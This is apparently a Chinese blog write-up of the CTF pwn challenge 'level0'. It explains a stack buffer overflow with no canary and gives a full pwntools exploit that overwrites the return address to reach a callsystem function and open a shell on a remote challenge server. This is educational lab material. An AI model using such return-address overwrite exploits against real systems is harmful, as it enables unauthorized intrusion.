level0

image.png

0x00 file和checksec

image.png

0x01 ida打开

image.png
  • 很明显的溢出
  • 而且没有开启canary保护,可以直接溢出控制返回地址
  • 查看ida,有一个callsystem函数
    image.png
  • 所以思路就是构造payload,控制返回地址为0x400596即可

0x02 完整exp

from pwn import *

local=0
pc='./level0'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 59243]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    rl()
    system_bin_sh_addr = 0x400596
    payload = 'A'*0x80
    payload += 'BBBBBBBB'
    payload += p64(system_bin_sh_addr)
    sl(payload)
    p.interactive()

0x03 结果

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x00 已知条件 nc pwn2.jarvisoj.com 9881 给了远端url和端口,nc过去发现输出了一...
    BlinKer阅读 820评论 0 0
  • 用64位IDA打开之后,function函数之中的read函数存在栈溢出漏洞,栈空间大小只有0x88,而读取的数据...
    yahoo0o0阅读 893评论 1 1
  • 简介 : 地址 : nc pwn2.jarvisoj.com 9881程序 : level0.b9ded3801d...
    王一航阅读 2,170评论 0 2
  • checksec 一波,只开了NX 再IDA看一下程序 ,栈溢出,再找一找有没有可用的函数 发现了这个 exp:
    n0va阅读 1,297评论 0 1
  • 夜深人静仰望星空 你,还在前行吗? 我们生活的城市会带给我们生活的许多变化,那么今天,就让我给大家讲一个故事,一个...
    百搭脚踏车阅读 488评论 0 0